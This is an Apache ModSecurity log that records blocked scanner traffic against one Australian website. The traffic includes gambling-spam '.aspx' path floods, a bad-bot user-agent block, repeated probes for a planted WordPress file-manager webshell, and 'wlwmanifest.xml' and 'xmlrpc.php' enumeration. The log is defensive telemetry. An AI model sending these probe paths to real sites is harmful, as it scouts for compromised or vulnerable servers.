[Sun Apr 26 01:25:05.301105 2026] [:error] [pid 59896:tid 59917] [client 147.135.214.166:51632] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aez48bLLzhtkd-OXUgBRSgAAAFE"]
[Sun Apr 26 01:25:07.625515 2026] [:error] [pid 3212:tid 3216] [client 147.135.214.166:47534] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aez48_g-28TY8_YLtUe4_gAAAQI"]
[Sun Apr 26 01:25:10.081106 2026] [:error] [pid 59897:tid 59934] [client 147.135.214.166:47540] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "aez49vBrrkdzpEbmK4e-sQAAAIc"]
[Sun Apr 26 01:25:12.613116 2026] [:error] [pid 59896:tid 59905] [client 147.135.214.166:47542] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "aez4-LLLzhtkd-OXUgBRTgAAAEU"]
[Sun Apr 26 01:25:15.153359 2026] [:error] [pid 3212:tid 3214] [client 147.135.214.166:47548] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "aez4-_g-28TY8_YLtUe5CQAAAQA"]
[Sun Apr 26 01:25:17.428496 2026] [:error] [pid 59985:tid 59994] [client 147.135.214.166:46004] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aez4_QF_zDvEhKvyTH77aAAAAAc"]
[Sun Apr 26 01:25:19.844029 2026] [:error] [pid 3212:tid 3217] [client 147.135.214.166:46014] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aez4__g-28TY8_YLtUe5DQAAAQM"]
[Sun Apr 26 01:25:22.276668 2026] [:error] [pid 59896:tid 59902] [client 147.135.214.166:46022] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "aez5ArLLzhtkd-OXUgBRXwAAAEI"]
[Sun Apr 26 01:25:24.690661 2026] [:error] [pid 3212:tid 3233] [client 147.135.214.166:46036] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aez5BPg-28TY8_YLtUe5EgAAARM"]
[Sun Apr 26 01:25:27.087840 2026] [:error] [pid 3212:tid 3227] [client 147.135.214.166:42560] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aez5B_g-28TY8_YLtUe5FgAAAQ0"]
[Sun Apr 26 01:25:29.555986 2026] [:error] [pid 59985:tid 60010] [client 147.135.214.166:42568] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "aez5CQF_zDvEhKvyTH77fQAAABc"]
[Sun Apr 26 01:25:31.845365 2026] [:error] [pid 3212:tid 3229] [client 147.135.214.166:42580] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aez5C_g-28TY8_YLtUe5OgAAAQ8"]
[Sun Apr 26 01:25:34.389045 2026] [:error] [pid 59897:tid 59949] [client 147.135.214.166:42590] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aez5DvBrrkdzpEbmK4e-twAAAJY"]
[Sun Apr 26 01:25:36.839760 2026] [:error] [pid 59985:tid 60003] [client 147.135.214.166:48520] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aez5EAF_zDvEhKvyTH77jgAAABA"]
[Sun Apr 26 01:25:39.096653 2026] [:error] [pid 59896:tid 59910] [client 147.135.214.166:48522] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aez5E7LLzhtkd-OXUgBR8gAAAEo"]
[Sun Apr 26 01:25:41.531717 2026] [:error] [pid 3212:tid 3214] [client 147.135.214.166:48532] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aez5Ffg-28TY8_YLtUe5ZQAAAQA"]
[Sun Apr 26 01:25:43.854068 2026] [:error] [pid 59898:tid 59976] [client 147.135.214.166:48536] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aez5Fx-4vImxb0kbdzfb6QAAANY"]
[Sun Apr 26 01:25:46.449055 2026] [:error] [pid 3212:tid 3231] [client 147.135.214.166:36426] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aez5Gvg-28TY8_YLtUe5cgAAARE"]
[Sun Apr 26 01:25:48.882951 2026] [:error] [pid 59896:tid 59904] [client 147.135.214.166:36428] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aez5HLLLzhtkd-OXUgBSAAAAAEQ"]
[Sun Apr 26 01:25:51.315559 2026] [:error] [pid 59896:tid 59922] [client 147.135.214.166:36444] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aez5H7LLzhtkd-OXUgBSBQAAAFY"]
[Sun Apr 26 01:25:53.764664 2026] [:error] [pid 59897:tid 59937] [client 147.135.214.166:36446] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aez5IfBrrkdzpEbmK4e-vwAAAIo"]
[Sun Apr 26 01:25:56.143123 2026] [:error] [pid 3212:tid 3232] [client 147.135.214.166:58432] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aez5JPg-28TY8_YLtUe5egAAARI"]
[Sun Apr 26 01:25:58.538351 2026] [:error] [pid 59897:tid 59935] [client 147.135.214.166:58440] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aez5JvBrrkdzpEbmK4e-xAAAAIg"]
[Sun Apr 26 01:26:00.818631 2026] [:error] [pid 3212:tid 3223] [client 147.135.214.166:58444] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aez5KPg-28TY8_YLtUe5fQAAAQk"]
[Sun Apr 26 01:26:21.627119 2026] [:error] [pid 3212:tid 3218] [client 147.135.214.166:58448] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aez5Pfg-28TY8_YLtUe5qAAAAQQ"]
[Sun Apr 26 01:26:24.078284 2026] [:error] [pid 59896:tid 59913] [client 147.135.214.166:36534] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aez5QLLLzhtkd-OXUgBSnwAAAE0"]
[Sun Apr 26 01:26:26.591557 2026] [:error] [pid 59985:tid 60010] [client 147.135.214.166:36116] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aez5QgF_zDvEhKvyTH78LAAAABc"]
[Sun Apr 26 01:26:29.083395 2026] [:error] [pid 3212:tid 3217] [client 147.135.214.166:36128] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aez5Rfg-28TY8_YLtUe51QAAAQM"]
[Sun Apr 26 01:26:31.341547 2026] [:error] [pid 3212:tid 3225] [client 147.135.214.166:36144] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aez5R_g-28TY8_YLtUe52gAAAQs"]
[Sun Apr 26 01:26:33.754400 2026] [:error] [pid 59897:tid 59945] [client 147.135.214.166:36148] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aez5SfBrrkdzpEbmK4e--AAAAJI"]
[Sun Apr 26 01:26:36.281529 2026] [:error] [pid 59898:tid 59978] [client 147.135.214.166:53552] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aez5TB-4vImxb0kbdzfcAgAAANg"]
[Sun Apr 26 01:26:38.802860 2026] [:error] [pid 59897:tid 59936] [client 147.135.214.166:53560] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aez5TvBrrkdzpEbmK4e-_QAAAIk"]
[Sun Apr 26 01:26:41.326155 2026] [:error] [pid 59897:tid 59948] [client 147.135.214.166:53566] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aez5UfBrrkdzpEbmK4e-_wAAAJU"]
[Sun Apr 26 01:26:43.706970 2026] [:error] [pid 59985:tid 60008] [client 147.135.214.166:53576] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aez5UwF_zDvEhKvyTH78PAAAABU"]
[Sun Apr 26 01:26:46.277166 2026] [:error] [pid 59897:tid 59947] [client 147.135.214.166:36444] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aez5VvBrrkdzpEbmK4e_BQAAAJQ"]
[Sun Apr 26 01:26:48.671083 2026] [:error] [pid 59985:tid 59988] [client 147.135.214.166:36452] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aez5WAF_zDvEhKvyTH78QgAAAAE"]
[Sun Apr 26 01:26:51.227010 2026] [:error] [pid 3212:tid 3221] [client 147.135.214.166:36454] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aez5W_g-28TY8_YLtUe56AAAAQc"]
[Sun Apr 26 01:26:53.707542 2026] [:error] [pid 59898:tid 59969] [client 147.135.214.166:36464] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aez5XR-4vImxb0kbdzfcIgAAAM8"]
[Sun Apr 26 01:26:56.207610 2026] [:error] [pid 59898:tid 59959] [client 147.135.214.166:55156] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aez5YB-4vImxb0kbdzfcJwAAAMU"]
[Sun Apr 26 01:26:58.612502 2026] [:error] [pid 59985:tid 60007] [client 147.135.214.166:55168] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aez5YgF_zDvEhKvyTH78TwAAABQ"]
[Sun Apr 26 01:27:03.127225 2026] [:error] [pid 59898:tid 59959] [client 147.135.214.166:55182] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/robots.txt"] [unique_id "aez5Zx-4vImxb0kbdzfcMQAAAMU"]
[Sun Apr 26 01:27:07.463884 2026] [:error] [pid 59896:tid 59900] [client 147.135.214.166:54890] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/robots.txt"] [unique_id "aez5a7LLzhtkd-OXUgBSywAAAEA"]
[Sun Apr 26 03:24:50.917332 2026] [:error] [pid 59898:tid 59958] [client 212.47.78.126:53600] [client 212.47.78.126] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "ae0VAh-4vImxb0kbdzf7CgAAAMQ"]
[Sun Apr 26 03:24:51.500738 2026] [:error] [pid 59896:tid 59924] [client 212.47.78.126:62823] [client 212.47.78.126] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/buttons.css"] [unique_id "ae0VA7LLzhtkd-OXUgCC6wAAAFg"]
[Sun Apr 26 03:24:52.081961 2026] [:error] [pid 59898:tid 59961] [client 212.47.78.126:57896] [client 212.47.78.126] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/media/system/js/core.js"] [unique_id "ae0VBB-4vImxb0kbdzf7DwAAAMc"]
[Sun Apr 26 04:53:01.601405 2026] [:error] [pid 10315:tid 10323] [client 20.199.101.230:54807] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ae0praJIw2vjkleLIaB4MgAAAQY"]
[Sun Apr 26 04:53:02.075291 2026] [:error] [pid 8385:tid 8442] [client 20.199.101.230:44782] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ae0prjOy7_J84Wx3-oxRLQAAAFI"]
[Sun Apr 26 04:53:02.590562 2026] [:error] [pid 8385:tid 8445] [client 20.199.101.230:61518] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ae0prjOy7_J84Wx3-oxRLgAAAFU"]
[Sun Apr 26 04:53:03.099569 2026] [:error] [pid 8390:tid 8473] [client 20.199.101.230:41989] [client 20.199.101.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ae0pr4GPtFK_i9p5yxQB-AAAAJY"]
[Sun Apr 26 06:25:11.194103 2026] [:error] [pid 10315:tid 10335] [client 49.7.227.204:33574] [client 49.7.227.204] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "ae0_R6JIw2vjkleLIaCseQAAARI"]
[Sun Apr 26 06:36:18.244048 2026] [:error] [pid 41906:tid 41917] [client 85.204.70.112:39534] [client 85.204.70.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.204.70.112, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "ae1B4j3-0A3lxw9OXoAsvgAAAYk"]
[Sun Apr 26 06:36:24.800308 2026] [:error] [pid 41906:tid 41916] [client 85.204.70.112:39534] [client 85.204.70.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "ae1B6D3-0A3lxw9OXoAtGgAAAYg"]
[Sun Apr 26 06:36:26.812875 2026] [:error] [pid 8383:tid 8413] [client 85.204.70.112:42918] [client 85.204.70.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "ae1B6tFa2S3EsATMdWPGSgAAABA"]
[Sun Apr 26 06:36:29.421712 2026] [:error] [pid 8491:tid 8520] [client 85.204.70.112:59200] [client 85.204.70.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "ae1B7Sq7I7e6CJooQM2dTwAAANU"]
